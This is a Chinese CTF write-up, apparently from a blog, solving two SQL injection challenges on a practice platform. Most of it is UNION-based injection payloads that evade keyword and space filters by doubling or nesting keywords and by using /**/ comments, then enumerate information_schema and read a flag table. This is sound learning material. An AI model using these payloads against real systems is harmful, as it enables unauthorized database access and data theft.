实验吧——(web)简单的SQL注入1、2 writeup

简单的SQL注入1

题目
判断注入类型
输入:1
1
输入:1’
在这里插入图片描述
出现报错,初步猜测这是一个字符型的注入。

尝试一些基本的语句:
输入:

1' union select schema_name from information_schema.schemata where '1' ='1

在这里插入图片描述
又出现报错。union select被过滤
测试了几个关键词以后,发现都被过滤了

关键词被过滤:解决方法如下

1大小写交替: Order SeLect
2.双写 : OderOrder SelectSelect
3.交叉: selecselectt
所以我们先尝试双写 union select

1' unionunion selectselect schema_name from information_schema.schemata where '1' ='1

报错
出现报错,所以应该是空格也被过滤了,所以使用两个空格(绕过空格有好多方法:+,/**/,%0a)

1'  unionunion  selectselect  schema_name  fromfrom  information_schema.schemata  wherewhere  '1' ='1

查询当前数据库,按同样的方式

1' unionunion  selectselect  database()'

database
接下来我们查询数据库中的表

1'  unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  '1'='1

在输出的众多表中,可以发现一个flag表
表
所以接下来我们就要查询flag表中的字段

1'  unionunion  selectselect  column_name  fromfrom  information_schema.columns  wherewhere  table_name='flag

报错。
在这里插入图片描述发现是column_name和information_schema.columns被过滤
修改我们的命令:

1'  unionunion  selectselect  column_namecolumn_name  fromfrom  information_schema.columnsinformation_schema.columns  wherewhere  table_name='flag

还是报错。于是我们只能换一种防过滤的方法:交叉

1'  unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.columninformation_schema.columnss  wherewhere  table_name='flag

获取flag字段
发现flag字段名,这时可以获取flag

1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1

flag

简单的SQL注入2

输入:1’ or ‘1’=‘1
1' or '1'='1
输入:1’or’1’=‘1
1'or'1'='1
输入:1’//or//‘1’='1
在这里插入图片描述
猜测是过滤了空格。

输入基本语句:1’ union select schema_name from information_schema.schemata where ‘1’ ='1
会出现SQLi detected!
测试1
然后我们尝试获取数据库

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

在这里插入图片描述
获取数据库中的表:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

在这里插入图片描述
获取字段:

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

flag字段
获取flag:

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

flag

参考:https://www.cnblogs.com/Ragd0ll/p/8529402.html

发布了34 篇原创文章 · 获赞 51 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_39480875/article/details/90453937